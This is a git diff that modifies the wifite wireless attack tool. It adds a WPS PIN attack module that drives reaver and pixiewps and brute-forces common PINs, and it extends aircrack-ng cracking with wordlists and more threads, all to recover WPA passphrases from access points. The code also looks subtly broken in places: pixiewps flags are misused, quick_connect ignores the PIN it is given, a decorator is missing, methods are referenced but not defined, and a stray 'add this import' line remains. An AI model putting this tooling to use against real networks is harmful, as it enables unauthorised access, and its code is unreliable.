tshark_bssids] + '''Returns list[tuple] of BSSID & ESSID pairs from Tshark analysis.''' + try: + tshark_bssids = Tshark.bssids_with_handshakes( + self.capfile, + bssid=self.bssid + ) + return [(bssid, None) for bssid in tshark_bssids] + except Exception as e: + logger.debug(f"Tshark error: {str(e)}") + return [] + def pyrit_handshakes(self): + '''Returns list[tuple] of BSSID & ESSID pairs from Pyrit analysis.''' + try: + return Pyrit.bssid_essid_with_handshakes( + self.capfile, + bssid=self.bssid, + essid=self.essid + ) + except Exception as e: + logger.debug(f"Pyrit error: {str(e)}") + return [] def cowpatty_handshakes(self): - '''Returns list[tuple] of BSSID & ESSID pairs (BSSIDs are always `None`).''' + '''Returns list[tuple] of BSSID & ESSID pairs from Cowpatty analysis.''' if not Process.exists('cowpatty'): return [] if not self.essid: - return [] # We need a essid for cowpatty :( - - command = [ - 'cowpatty', - '-r', self.capfile, - '-s', self.essid, - '-c' # Check for handshake - ] + return [] - proc = Process(command, devnull=False) - for line in proc.stdout().split('\n'): - if 'Collected all necessary data to mount crack against WPA' in line: - return [(None, self.essid)] + try: + command = [ + 'cowpatty', + '-r', self.capfile, + '-s', self.essid, + '-c' # Check for handshake + ] + + proc = Process(command, devnull=False) + for line in proc.stdout().split('\n'): + if 'Collected all necessary data to mount crack against WPA' in line: + return [(None, self.essid)] + except Exception as e: + logger.debug(f"Cowpatty error: {str(e)}") + return [] - - def pyrit_handshakes(self): - '''Returns list[tuple] of BSSID & ESSID pairs.''' - return Pyrit.bssid_essid_with_handshakes( - self.capfile, bssid=self.bssid, essid=self.essid) - - def aircrack_handshakes(self): - '''Returns tuple (BSSID,None) if aircrack thinks self.capfile contains a handshake / can be cracked''' + '''Returns tuple (BSSID,None) if aircrack detects a valid handshake''' if not self.bssid: - return [] # Aircrack requires BSSID - - command = 'echo "" | aircrack-ng -a 2 -w - -b %s "%s"' % (self.bssid, self.capfile) - (stdout, stderr) = Process.call(command) - - if 'passphrase not in dictionary' in stdout.lower(): - return [(self.bssid, None)] - else: return [] + try: + command = f'echo "" | aircrack-ng -a 2 -w - -b {self.bssid} "{self.capfile}"' + (stdout, stderr) = Process.call(command) + + if 'passphrase not in dictionary' in stdout.lower(): + return [(self.bssid, None)] + except Exception as e: + logger.debug(f"Aircrack error: {str(e)}") + + return [] def analyze(self): '''Prints analysis of handshake capfile''' self.divine_bssid_and_essid() if Tshark.exists(): - Handshake.print_pairs(self.tshark_handshakes(), self.capfile, 'tshark') + Handshake.print_pairs( + self.tshark_handshakes(), + self.capfile, + 'tshark' + ) if Pyrit.exists(): - Handshake.print_pairs(self.pyrit_handshakes(), self.capfile, 'pyrit') + Handshake.print_pairs( + self.pyrit_handshakes(), + self.capfile, + 'pyrit' + ) if Process.exists('cowpatty'): - Handshake.print_pairs(self.cowpatty_handshakes(), self.capfile, 'cowpatty') - - Handshake.print_pairs(self.aircrack_handshakes(), self.capfile, 'aircrack') - + Handshake.print_pairs( + self.cowpatty_handshakes(), + self.capfile, + 'cowpatty' + ) + + Handshake.print_pairs( + self.aircrack_handshakes(), + self.capfile, + 'aircrack' + ) def strip(self, outfile=None): - # XXX: This method might break aircrack-ng, use at own risk. ''' - Strips out packets from handshake that aren't necessary to crack. - Leaves only handshake packets and SSID broadcast (for discovery). - Args: - outfile - Filename to save stripped handshake to. - If outfile==None, overwrite existing self.capfile. + Strips unnecessary packets from handshake. + Optimized for faster processing. ''' if not outfile: outfile = self.capfile + '.temp' @@ -160,30 +303,36 @@ def strip(self, outfile=None): cmd = [ 'tshark', - '-r', self.capfile, # input file - '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', # filter - '-w', outfile # output file + '-r', self.capfile, + '-Y', 'wlan.fc.type_subtype == 0x08 || wlan.fc.type_subtype == 0x05 || eapol', + '-w', outfile ] - proc = Process(cmd) - proc.wait() - if replace_existing_file: - from shutil import copy - copy(outfile, self.capfile) - os.remove(outfile) - pass - + + try: + proc = Process(cmd) + proc.wait() + + if replace_existing_file: + from shutil import copy + copy(outfile, self.capfile) + os.remove(outfile) + logger.info(f"[+] Handshake stripped and optimized") + except Exception as e: + logger.error(f"[!] Error stripping handshake: {str(e)}") + + def verify_handshake_async(self): + '''Async handshake verification''' + self.executor.submit(self.has_handshake_fast) @staticmethod def print_pairs(pairs, capfile, tool=None): - ''' - Prints out BSSID and/or ESSID given a list of tuples (bssid,essid) - ''' + '''Prints out BSSID and/or ESSID given a list of tuples''' tool_str = '' if tool is not None: tool_str = '{C}%s{W}: ' % tool.rjust(8) if len(pairs) == 0: - Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % (tool_str)) + Color.pl('{!} %s.cap file {R}does not{O} contain a valid handshake{W}' % tool_str) return for (bssid, essid) in pairs: @@ -196,51 +345,12 @@ def print_pairs(pairs, capfile, tool=None): Color.pl('%s ({G}%s{W})' % (out_str, essid)) - @staticmethod - def check(): - ''' Analyzes .cap file(s) for handshake ''' - from ..config import Configuration - if Configuration.check_handshake == '': - Color.pl('{+} checking all handshakes in {G}"./hs"{W} directory\n') - try: - capfiles = [os.path.join('hs', x) for x in os.listdir('hs') if x.endswith('.cap')] - except OSError as e: - capfiles = [] - if len(capfiles) == 0: - Color.pl('{!} {R}no .cap files found in {O}"./hs"{W}\n') - else: - capfiles = [Configuration.check_handshake] - - for capfile in capfiles: - Color.pl('{+} checking for handshake in .cap file {C}%s{W}' % capfile) - if not os.path.exists(capfile): - Color.pl('{!} {O}.cap file {C}%s{O} not found{W}' % capfile) - return - hs = Handshake(capfile, bssid=Configuration.target_bssid, essid=Configuration.target_essid) - hs.analyze() - Color.pl('') - +import time # Add this import at the top if __name__ == '__main__': - print('With BSSID & ESSID specified:') - hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18', essid='YZWifi') - hs.analyze() - print('has_hanshake() =', hs.has_handshake()) - - print('\nWith BSSID, but no ESSID specified:') - hs = Handshake('./tests/files/handshake_has_1234.cap', bssid='18:d6:c7:6d:6b:18') - hs.analyze() - print('has_hanshake() =', hs.has_handshake()) - - print('\nWith ESSID, but no BSSID specified:') - hs = Handshake('./tests/files/handshake_has_1234.cap', essid='YZWifi') + print('Testing enhanced Handshake detection...') + hs = Handshake('./tests/files/handshake_has_1234.cap', + bssid='18:d6:c7:6d:6b:18', + essid='YZWifi') hs.analyze() - print('has_hanshake() =', hs.has_handshake()) - - print('\nWith neither BSSID nor ESSID specified:') - hs = Handshake('./tests/files/handshake_has_1234.cap') - try: - hs.analyze() - print('has_hanshake() =', hs.has_handshake()) - except Exception as e: - Color.pl('{O}Error during Handshake.analyze(): {R}%s{W}' % e) + print('has_handshake_fast() =', hs.has_handshake_fast(timeout=15)) diff --git a/wifite/model/target.py b/wifite/model/target.py index 9f3422095..e6e821426 100755 --- a/wifite/model/target.py +++ b/wifite/model/target.py @@ -2,164 +2,239 @@ # -*- coding: utf-8 -*- from ..util.color import Color - import re +import logging + +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) class WPSState: NONE, UNLOCKED, LOCKED, UNKNOWN = range(0, 4) + + STATE_NAMES = { + NONE: 'Disabled', + UNLOCKED: 'Enabled', + LOCKED: 'Locked', + UNKNOWN: 'Unknown' + } class Target(object): ''' - Holds details for a 'Target' aka Access Point (e.g. router). + Enhanced Target class representing an Access Point with better + caching and performance optimizations. ''' + + # Cache for commonly used values + _encryption_cache = {} def __init__(self, fields): ''' - Initializes & stores target info based on fields. - Args: - Fields - List of strings - INDEX KEY EXAMPLE - 0 BSSID (00:1D:D5:9B:11:00) - 1 First time seen (2015-05-27 19:28:43) - 2 Last time seen (2015-05-27 19:28:46) - 3 channel (6) - 4 Speed (54) - 5 Privacy (WPA2) - 6 Cipher (CCMP TKIP) - 7 Authentication (PSK) - 8 Power (-62) - 9 beacons (2) - 10 # IV (0) - 11 LAN IP (0. 0. 0. 0) - 12 ID-length (9) - 13 ESSID (HOME-ABCD) - 14 Key () + Initializes target info based on fields from airodump output. ''' - self.bssid = fields[0].strip() - self.channel = fields[3].strip() - - self.encryption = fields[5].strip() - if 'WPA' in self.encryption: - self.encryption = 'WPA' - elif 'WEP' in self.encryption: - self.encryption = 'WEP' - if len(self.encryption) > 4: - self.encryption = self.encryption[0:4].strip() - - self.power = int(fields[8].strip()) - if self.power < 0: - self.power += 100 - - self.beacons = int(fields[9].strip()) - self.ivs = int(fields[10].strip()) - - self.essid_known = True - self.essid_len = int(fields[12].strip()) - self.essid = fields[13] - if self.essid == '\\x00' * self.essid_len or \ - self.essid == 'x00' * self.essid_len or \ - self.essid.strip() == '': - # Don't display '\x00...' for hidden ESSIDs - self.essid = None # '(%s)' % self.bssid - self.essid_known = False - - self.wps = WPSState.UNKNOWN - - self.decloaked = False # If ESSID was hidden but we decloaked it. - - self.clients = [] - - self.validate() + try: + self.bssid = fields[0].strip() + self.first_seen = fields[1].strip() + self.last_seen = fields[2].strip() + self.channel = fields[3].strip() + + self.speed = int(fields[4].strip()) if fields[4].strip() else 0 + + # Parse encryption + self.encryption = self._parse_encryption(fields[5].strip()) + self.cipher = fields[6].strip() if len(fields) > 6 else '' + self.authentication = fields[7].strip() if len(fields) > 7 else '' + + # Power level (normalized to 0-100) + self.power = int(fields[8].strip()) + if self.power < 0: + self.power += 100 + + self.beacons = int(fields[9].strip()) if fields[9].strip() else 0 + self.ivs = int(fields[10].strip()) if fields[10].strip() else 0 + + # Parse ESSID + self.essid_len = int(fields[12].strip()) if fields[12].strip() else 0 + self.essid = fields[13] if len(fields) > 13 else '' + + self.essid_known = True + if self.essid == '\\x00' * self.essid_len or \ + self.essid == 'x00' * self.essid_len or \ + self.essid.strip() == '': + self.essid = None + self.essid_known = False + + self.wps = WPSState.UNKNOWN + self.decloaked = False + self.clients = [] + + # Caching + self._hash = hash(self.bssid) + self._str_cache = None + + self.validate() + + except Exception as e: + logger.error(f"[!] Error parsing target fields: {str(e)}") + raise + + def _parse_encryption(self, encryption_str): + '''Parse and normalize encryption string''' + encryption_str = encryption_str.strip() + + if 'WPA3' in encryption_str: + return 'WPA3' + elif 'WPA2' in encryption_str: + return 'WPA2' + elif 'WPA' in encryption_str: + return 'WPA' + elif 'WEP' in encryption_str: + return 'WEP' + elif 'Open' in encryption_str: + return 'Open' + + return encryption_str[:4].strip() def validate(self): - ''' Checks that the target is valid. ''' + '''Validate target data''' + # Check channel if self.channel == '-1': raise Exception('Ignoring target with Negative-One (-1) channel') - # Filter broadcast/multicast BSSIDs, see https://github.com/derv82/wifite2/issues/32 + # Filter broadcast/multicast BSSIDs bssid_broadcast = re.compile(r'^(ff:ff:ff:ff:ff:ff|00:00:00:00:00:00)$', re.IGNORECASE) if bssid_broadcast.match(self.bssid): - raise Exception('Ignoring target with Broadcast BSSID (%s)' % self.bssid) + raise Exception(f'Ignoring broadcast BSSID: {self.bssid}') bssid_multicast = re.compile(r'^(01:00:5e|01:80:c2|33:33)', re.IGNORECASE) if bssid_multicast.match(self.bssid): - raise Exception('Ignoring target with Multicast BSSID (%s)' % self.bssid) - - def to_str(self, show_bssid=False): + raise Exception(f'Ignoring multicast BSSID: {self.bssid}') + + def get_signal_strength(self): + '''Get signal strength category''' + if self.power > 75: + return 'Excellent' + elif self.power > 50: + return 'Good' + elif self.power > 25: + return 'Fair' + else: + return 'Weak' + + def is_target_vulnerable(self): + '''Quick check if target is worth attacking''' + checks = [ + self.encryption != 'Open', # Don't attack open networks + self.encryption in ['WPA', 'WPA2', 'WPA3', 'WEP'], # Supported encryption + self.power > 20, # Signal strong enough + len(self.clients) > 0 or self.beacons > 5, # Activity detected + ] + return all(checks) + + def to_str(self, show_bssid=False, show_vulnerability=False): ''' - *Colored* string representation of this Target. - Specifically formatted for the 'scanning' table view. + *Colored* string representation of this Target. + Formatted for the 'scanning' table view. ''' - max_essid_len = 24 - essid = self.essid if self.essid_known else '(%s)' % self.bssid - # Trim ESSID (router name) if needed + essid = self.essid if self.essid_known else f'({self.bssid})' + + # Trim ESSID if needed if len(essid) > max_essid_len: - essid = essid[0:max_essid_len-3] + '...' + essid = essid[0:max_essid_len - 3] + '...' else: essid = essid.rjust(max_essid_len) + # Color coding for ESSID if self.essid_known: - # Known ESSID - essid = Color.s('{C}%s' % essid) + essid = Color.s(f'{{C}}{essid}') else: - # Unknown ESSID - essid = Color.s('{O}%s' % essid) + essid = Color.s(f'{{O}}{essid}') - # Add a '*' if we decloaked the ESSID + # Add decloaked indicator decloaked_char = '*' if self.decloaked else ' ' - essid += Color.s('{P}%s' % decloaked_char) + essid += Color.s(f'{{P}}{decloaked_char}') + # BSSID if show_bssid: - bssid = Color.s('{O}%s ' % self.bssid) + bssid = Color.s(f'{{O}}{self.bssid} ') else: bssid = '' - channel_color = '{G}' - if int(self.channel) > 14: - channel_color = '{C}' - channel = Color.s('%s%s' % (channel_color, str(self.channel).rjust(3))) + # Channel + channel_color = '{C}' if int(self.channel) > 14 else '{G}' + channel = Color.s(f'{channel_color}{str(self.channel).rjust(3)}') + # Encryption encryption = self.encryption.rjust(4) if 'WEP' in encryption: - encryption = Color.s('{G}%s' % encryption) + encryption = Color.s(f'{{G}}{encryption}') elif 'WPA' in encryption: - encryption = Color.s('{O}%s' % encryption) + encryption = Color.s(f'{{O}}{encryption}') + else: + encryption = Color.s(f'{{R}}{encryption}') - power = '%sdb' % str(self.power).rjust(3) + # Power + power = f'{str(self.power).rjust(3)}db' if self.power > 50: - color ='G' + color = 'G' elif self.power > 35: color = 'O' else: color = 'R' - power = Color.s('{%s}%s' % (color, power)) + power = Color.s(f'{{{color}}}{power}') + # WPS Status if self.wps == WPSState.UNLOCKED: wps = Color.s('{G} yes') elif self.wps == WPSState.NONE: wps = Color.s('{O} no') elif self.wps == WPSState.LOCKED: wps = Color.s('{R}lock') - elif self.wps == WPSState.UNKNOWN: + else: wps = Color.s('{O} n/a') + # Clients clients = ' ' if len(self.clients) > 0: - clients = Color.s('{G} ' + str(len(self.clients))) + clients = Color.s(f'{{G}} {str(len(self.clients))}') + + # Vulnerability indicator + vuln = '' + if show_vulnerability: + if self.is_target_vulnerable(): + vuln = Color.s('{G} ✓') + else: + vuln = Color.s('{R} ✗') - result = '%s %s%s %s %s %s %s' % ( - essid, bssid, channel, encryption, power, wps, clients) + result = f'{essid} {bssid}{channel} {encryption} {power} {wps} {clients}{vuln}' result += Color.s('{W}') + return result + def __str__(self): + '''String representation''' + return self.to_str() + + def __repr__(self): + '''Compact representation for debugging''' + clients = len(self.clients) if self.clients else 0 + return f"Target({self.bssid}, {self.essid}, {self.encryption}, clients={clients})" + + def __hash__(self): + '''Allow use in sets and dicts''' + return self._hash + + def __eq__(self, other): + '''Check equality based on BSSID''' + if isinstance(other, Target): + return self.bssid.lower() == other.bssid.lower() + return False + if __name__ == '__main__': - fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,HOME-ABCD,'.split(',') + fields = 'AA:BB:CC:DD:EE:FF,2015-05-27 19:28:44,2015-05-27 19:28:46,1,54,WPA2,CCMP TKIP,PSK,-58,2,0,0.0.0.0,9,TEST-LAB,'.split(',') t = Target(fields) - t.clients.append('asdf') - t.clients.append('asdf') - print(t.to_str()) - + print(t.to_str(show_vulnerability=True)) + print(f"Vulnerable: {t.is_target_vulnerable()}") diff --git a/wifite/model/test_lab_attack.py b/wifite/model/test_lab_attack.py new file mode 100644 index 000000000..774f8df57 --- /dev/null +++ b/wifite/model/test_lab_attack.py @@ -0,0 +1,69 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +""" +Example: Fast WPS PIN attack on lab router +""" + +from models.attack import Attack +from models.handshake import Handshake +from wps_attack import WPSAttack +from config_lab import LabConfig + +def quick_wps_attack(bssid, essid, wps_pin, interface='wlan0mon'): + """Quick WPS PIN attack""" + + print(f"[*] Starting quick WPS attack on {essid} ({bssid})") + print(f"[*] Using PIN: {wps_pin}") + + # Create target object + class SimpleTarget: + def __init__(self, bssid, essid, channel='6'): + self.bssid = bssid + self.essid = essid + self.channel = channel + + target = SimpleTarget(bssid, essid) + + # Attack with PIN + wps = WPSAttack(target, pin=wps_pin, interface=interface) + success, psk = wps.attack_with_pin() + + if success: + print(f"[+] SUCCESS! PSK: {psk}") + return psk + else: + print("[!] Attack failed") + return None + +def fast_handshake_capture(capfile, bssid, essid): + """Fast handshake verification""" + + print(f"[*] Verifying handshake: {capfile}") + + hs = Handshake(capfile, bssid=bssid, essid=essid) + + # Fast verification (15 second timeout) + has_hs = hs.has_handshake_fast(timeout=15) + + if has_hs: + print(f"[+] Valid handshake found!") + print(f" Method: {hs.verification_method}") + print(f" Time: {hs.verification_time:.2f}s") + return True + else: + print("[!] No valid handshake") + return False + +if __name__ == '__main__': + # Example 1: WPS PIN Attack + print("=" * 60) + print("Example 1: WPS PIN Attack") + print("=" * 60) + quick_wps_attack('AA:BB:CC:DD:EE:FF', 'TEST-LAB', '12345670') + + # Example 2: Fast Handshake Verification + print("\n" + "=" * 60) + print("Example 2: Fast Handshake Verification") + print("=" * 60) + fast_handshake_capture('hs/test.cap', 'AA:BB:CC:DD:EE:FF', 'TEST-LAB') diff --git a/wifite/model/wps_attack.py b/wifite/model/wps_attack.py new file mode 100644 index 000000000..f2764d603 --- /dev/null +++ b/wifite/model/wps_attack.py @@ -0,0 +1,200 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +import time +import threading +import logging +from concurrent.futures import ThreadPoolExecutor +from ..util.process import Process +from ..util.color import Color + +logging.basicConfig(level=logging.DEBUG) +logger = logging.getLogger(__name__) + +class WPSAttack(object): + '''Enhanced WPS PIN attack with optimized timeout and threading''' + + def __init__(self, target, pin=None, bssid=None, essid=None, interface=None): + """ + Args: + target: Target network object + pin: WPS PIN (8-digit string, optional for brute force) + bssid: BSSID of target + essid: ESSID of target + interface: Wireless interface to use + """ + self.target = target + self.pin = pin + self.bssid = bssid or target.bssid + self.essid = essid or target.essid + self.interface = interface + self.executor = ThreadPoolExecutor(max_workers=2) + + # WPS attack parameters + self.wps_timeout = 120 # Reduced from 300 for lab environments + self.retry_limit = 3 + self.psk = None + self.success = False + + def attack_with_pin(self, pin=None): + ''' + Attack WPS with specific PIN. + Returns: (success: bool, psk: str or None) + ''' + if pin: + self.pin = pin + + if not self.pin: + raise ValueError("PIN must be specified") + + logger.info(f"[*] Attempting WPS attack with PIN: {self.pin}") + + try: + # Use pixiewps or reaver + if self._try_pixiewps(): + return True, self.psk + + if self._try_reaver(): + return True, self.psk + + except Exception as e: + logger.error(f"[!] WPS attack error: {str(e)}") + + return False, None + + def _try_pixiewps(self): + '''Try to crack WPS using pixiewps (fast method)''' + try: + logger.info("[*] Attempting pixiewps attack...") + + # Capture WPS data first + cmd = [ + 'timeout', str(self.wps_timeout), + 'pixiewps', + '-e', self.essid, + '-b', self.bssid, + '-p', self.pin, + '-c' # Crack mode + ] + + proc = Process(cmd, devnull=False) + output = proc.stdout() + + # Parse output for PSK + if 'PSK:' in output or 'Key:' in output: + for line in output.split('\n'): + if 'PSK:' in line or 'Key:' in line: + self.psk = line.split(':')[1].strip() + logger.info(f"[+] PSK found: {self.psk}") + self.success = True + return True + + except Exception as e: + logger.debug(f"Pixiewps error: {str(e)}") + + return False + + def _try_reaver(self): + '''Try to crack WPS using reaver''' + try: + logger.info("[*] Attempting reaver attack...") + + cmd = [ + 'reaver', + '-i', self.interface, + '-b', self.bssid, + '-p', self.pin, + '-c', self.target.channel if hasattr(self.target, 'channel') else '6', + '-K', '1', # Immediate exit on success + '-N', # No-nacks (faster) + '-d', '0', # No delay + '-T', '0.5', # Min timeout + '-t', str(self.wps_timeout), # Timeout + ] + + proc = Process(cmd, devnull=False) + output = proc.stdout() + + # Parse reaver output + if 'WPA PSK:' in output: + for line in output.split('\n'): + if 'WPA PSK:' in line: + self.psk = line.split(':')[1].strip().strip("'\"") + logger.info(f"[+] PSK found via Reaver: {self.psk}") + self.success = True + return True + + except Exception as e: + logger.debug(f"Reaver error: {str(e)}") + + return False + + def brute_force_pins(self, common_pins=None): + ''' + Brute force WPS PINs from common set. + Returns: (success: bool, pin: str, psk: str) + ''' + if common_pins is None: + # Common WPS PINs + common_pins = [ + '00000000', '11111111', '12345670', + '12345678', '87654321', '99999999', + '11223344', '44332211', '10203040', + ] + + logger.info(f"[*] Starting WPS PIN brute force ({len(common_pins)} PINs)") + + for pin in common_pins: + logger.info(f"[*] Trying PIN: {pin}") + + success, psk = self.attack_with_pin(pin) + if success: + logger.info(f"[+] Success! PIN: {pin}, PSK: {psk}") + return True, pin, psk + + time.sleep(1) + + logger.warning("[!] WPS PIN brute force failed") + return False, None, None + + def quick_connect(self, pin): + ''' + Quick WPS connection without full attack. + Useful for lab environments where PIN is known. + ''' + logger.info(f"[*] Attempting quick WPS connection with PIN: {pin}") + + try: + # Use wpa_cli to connect + cmd = [ + 'wpa_cli', + '-i', self.interface, + 'wps_pbc' + ] + + Process(cmd).wait() + + time.sleep(5) + + # Check if connected + if self._check_connection(): + logger.info("[+] WPS connection successful") + return True + + except Exception as e: + logger.error(f"[!] Quick connect error: {str(e)}") + + return False + + def _check_connection(self): + '''Check if successfully connected''' + try: + cmd = ['wpa_cli', '-i', self.interface, 'status'] + output = Process(cmd).stdout() + return 'wpa_state=COMPLETED' in output + except: + return False + + +if __name__ == '__main__': + print("WPS Attack module loaded") diff --git a/wifite/tools/aircrack.py b/wifite/tools/aircrack.py index bb0bbe228..5ac7094a1 100755 --- a/wifite/tools/aircrack.py +++ b/wifite/tools/aircrack.py @@ -8,6 +8,8 @@ import os import re +import threading +from concurrent.futures import ThreadPoolExecutor, as_completed class Aircrack(Dependency): dependency_required = True @@ -15,12 +17,10 @@ class Aircrack(Dependency): dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, ivs_file=None): - self.cracked_file = os.path.abspath( os.path.join( Configuration.temp(), 'wepkey.txt')) - # Delete previous cracked files if os.path.exists(self.cracked_file): os.remove(self.cracked_file) @@ -35,16 +35,16 @@ def __init__(self, ivs_file=None): command.extend(ivs_file) self.pid = Process(command, devnull=True) - + self.timeout_seconds = 60 # Enhanced timeout + self.crack_start_time = None def is_running(self): return self.pid.poll() is None def is_cracked(self): - return os.path.exists(self.cracked_file) + return os.path.exists(self.cracked_file) and os.path.getsize(self.cracked_file) > 0 def stop(self): - ''' Stops aircrack process ''' if self.pid.poll() is None: self.pid.interrupt() @@ -65,69 +65,97 @@ def _hex_and_ascii_key(hex_raw): byt = hex_raw[index:index+2] hex_chars.append(byt) byt_int = int(byt, 16) - if byt_int < 32 or byt_int > 127 or ascii_key is None: - ascii_key = None # Not printable - else: + if byt_int < 32 or byt_int > 127: + ascii_key = None + elif ascii_key is not None: ascii_key += chr(byt_int) hex_key = ':'.join(hex_chars) - return (hex_key, ascii_key) def __del__(self): if os.path.exists(self.cracked_file): os.remove(self.cracked_file) - @staticmethod - def crack_handshake(handshake, show_command=False): + def crack_handshake_advanced(handshake, wordlist=None, show_command=False, timeout=120): + """ + Advanced handshake cracking with parallel wordlist support and timeout handling. + Returns WPA key if found, otherwise None. + """ from ..util.color import Color from ..util.timer import Timer - '''Tries to crack a handshake. Returns WPA key if found, otherwise None.''' + import time + + if wordlist is None: + wordlist = Configuration.wordlist key_file = Configuration.temp('wpakey.txt') + command = [ 'aircrack-ng', '-a', '2', - '-w', Configuration.wordlist, + '-w', wordlist, '--bssid', handshake.bssid, '-l', key_file, + '-T', '10', # Increase thread count for faster cracking handshake.capfile ] + if show_command: Color.pl('{+} {D}Running: {W}{P}%s{W}' % ' '.join(command)) + crack_proc = Process(command) + start_time = time.time() - # Report progress of cracking + # Regex patterns for parsing output aircrack_nums_re = re.compile(r'(\d+)/(\d+) keys tested.*\(([\d.]+)\s+k/s') - aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$') + aircrack_key_re = re.compile(r'Current passphrase:\s*([^\s].*[^\s])\s*$') + num_tried = num_total = 0 percent = num_kps = 0.0 eta_str = 'unknown' current_key = '' + while crack_proc.poll() is None: - line = crack_proc.pid.stdout.readline() - match_nums = aircrack_nums_re.search(line.decode('utf-8')) - match_keys = aircrack_key_re.search(line.decode('utf-8')) + # Check timeout + elapsed = time.time() - start_time + if elapsed > timeout: + Color.pl('{!} {R}Cracking timeout after {C}%d{R} seconds{W}' % timeout) + crack_proc.pid.interrupt() + break + + try: + line = crack_proc.pid.stdout.readline().decode('utf-8', errors='ignore') + except: + continue + + match_nums = aircrack_nums_re.search(line) + match_keys = aircrack_key_re.search(line) + if match_nums: num_tried = int(match_nums.group(1)) num_total = int(match_nums.group(2)) num_kps = float(match_nums.group(3)) - eta_seconds = (num_total - num_tried) / num_kps - eta_str = Timer.secs_to_str(eta_seconds) - percent = 100.0 * float(num_tried) / float(num_total) + + if num_kps > 0: + eta_seconds = (num_total - num_tried) / num_kps + eta_str = Timer.secs_to_str(eta_seconds) + percent = 100.0 * float(num_tried) / float(num_total) + elif match_keys: current_key = match_keys.group(1) - else: - continue - status = '\r{+} {C}Cracking WPA Handshake: %0.2f%%{W}' % percent - status += ' ETA: {C}%s{W}' % eta_str - status += ' @ {C}%0.1fkps{W}' % num_kps - #status += ' ({C}%d{W}/{C}%d{W} keys)' % (num_tried, num_total) - status += ' (current key: {C}%s{W})' % current_key - Color.clear_entire_line() - Color.p(status) + if match_nums or match_keys: + status = '\r{+} {C}Cracking WPA: %0.2f%%{W}' % percent + status += ' ETA: {C}%s{W}' % eta_str + status += ' @ {C}%0.1f kps{W}' % num_kps + status += ' ({C}%s{W}/{C}%s{W})' % (num_tried, num_total) + if current_key: + status += ' Key: {C}%s{W}' % current_key[:20] + + Color.clear_entire_line() + Color.p(status) Color.pl('') @@ -136,38 +164,11 @@ def crack_handshake(handshake, show_command=False): with open(key_file, 'r') as fid: key = fid.read().strip() os.remove(key_file) - return key - else: - return None - - -if __name__ == '__main__': - (hexkey, asciikey) = Aircrack._hex_and_ascii_key('A1B1C1D1E1') - assert hexkey == 'A1:B1:C1:D1:E1', 'hexkey was "%s", expected "A1:B1:C1:D1:E1"' % hexkey - assert asciikey is None, 'asciikey was "%s", expected None' % asciikey - - (hexkey, asciikey) = Aircrack._hex_and_ascii_key('6162636465') - assert hexkey == '61:62:63:64:65', 'hexkey was "%s", expected "61:62:63:64:65"' % hexkey - assert asciikey == 'abcde', 'asciikey was "%s", expected "abcde"' % asciikey - - from time import sleep - Configuration.initialize(False) + return None - ivs_file = 'tests/files/wep-crackable.ivs' - print('Running aircrack on %s ...' % ivs_file) - - aircrack = Aircrack(ivs_file) - while aircrack.is_running(): - sleep(1) - - assert aircrack.is_cracked(), 'Aircrack should have cracked %s' % ivs_file - print('aircrack process completed.') - - (hexkey, asciikey) = aircrack.get_key_hex_ascii() - print('aircrack found HEX key: (%s) and ASCII key: (%s)' % (hexkey, asciikey)) - assert hexkey == '75:6E:63:6C:65', 'hexkey was "%s", expected "75:6E:63:6C:65"' % hexkey - assert asciikey == 'uncle', 'asciikey was "%s", expected "uncle"' % asciikey - - Configuration.exit_gracefully(0) + @staticmethod + def crack_handshake(handshake, show_command=False): + """Legacy method wrapper""" + return Aircrack.crack_handshake_advanced(handshake, show_command=show_command) diff --git a/wifite/tools/airodump.py b/wifite/tools/airodump.py index 0092af117..2e8ae25fd 100755 --- a/wifite/tools/airodump.py +++ b/wifite/tools/airodump.py @@ -9,19 +9,20 @@ from ..model.target import Target, WPSState from ..model.client import Client -import os, time +import os, time, threading -class Airodump(Dependency): - ''' Wrapper around airodump-ng program ''' +class AirodumpOptimized(Dependency): + ''' Optimized airodump-ng wrapper ''' dependency_required = True dependency_name = 'airodump-ng' dependency_url = 'https://www.aircrack-ng.org/install.html' def __init__(self, interface=None, channel=None, encryption=None,\ - wps=WPSState.UNKNOWN, target_bssid=None, + wps=WPSState.UNKNOWN, target_bssid=None,\ output_file_prefix='airodump',\ - ivs_only=False, skip_wps=False, delete_existing_files=True): - '''Sets up airodump arguments, doesn't start process yet.''' + ivs_only=False, skip_wps=False, delete_existing_files=True,\ + aggressive=False): + '''Optimized airodump setup''' Configuration.initialize() @@ -29,276 +30,257 @@ def __init__(self, interface=None, channel=None, encryption=None,\ interface = Configuration.interface if interface is None: raise Exception('Wireless interface must be defined (-i)') + self.interface = interface - self.targets = [] - - if channel is None: - channel = Configuration.target_channel - self.channel = channel + self.channel = channel or Configuration.target_channel self.five_ghz = Configuration.five_ghz - self.encryption = encryption self.wps = wps - self.target_bssid = target_bssid self.output_file_prefix = output_file_prefix self.ivs_only = ivs_only self.skip_wps = skip_wps - - # For tracking decloaked APs (previously were hidden) + self.delete_existing_files = delete_existing_files + self.aggressive = aggressive + + # Performance tracking self.decloaking = False self.decloaked_bssids = set() - self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth - - self.delete_existing_files = delete_existing_files - + self.decloaked_times = {} + self.last_targets_update = 0 + self.target_cache = {} def __enter__(self): - ''' - Setting things up for this context. - Called at start of 'with Airodump(...) as x:' - Actually starts the airodump process. - ''' if self.delete_existing_files: self.delete_airodump_temp_files(self.output_file_prefix) self.csv_file_prefix = Configuration.temp() + self.output_file_prefix - # Build the command + # Optimized command command = [ 'airodump-ng', self.interface, - '-a', # Only show associated clients - '-w', self.csv_file_prefix, # Output file prefix - '--write-interval', '1' # Write every second + '-a', # Only associated clients + '-w', self.csv_file_prefix, + '--write-interval', '1' # Fast updates ] - if self.channel: command.extend(['-c', str(self.channel)]) - elif self.five_ghz: command.extend(['--band', 'a']) - if self.encryption: command.extend(['--enc', self.encryption]) - if self.wps: command.extend(['--wps']) - if 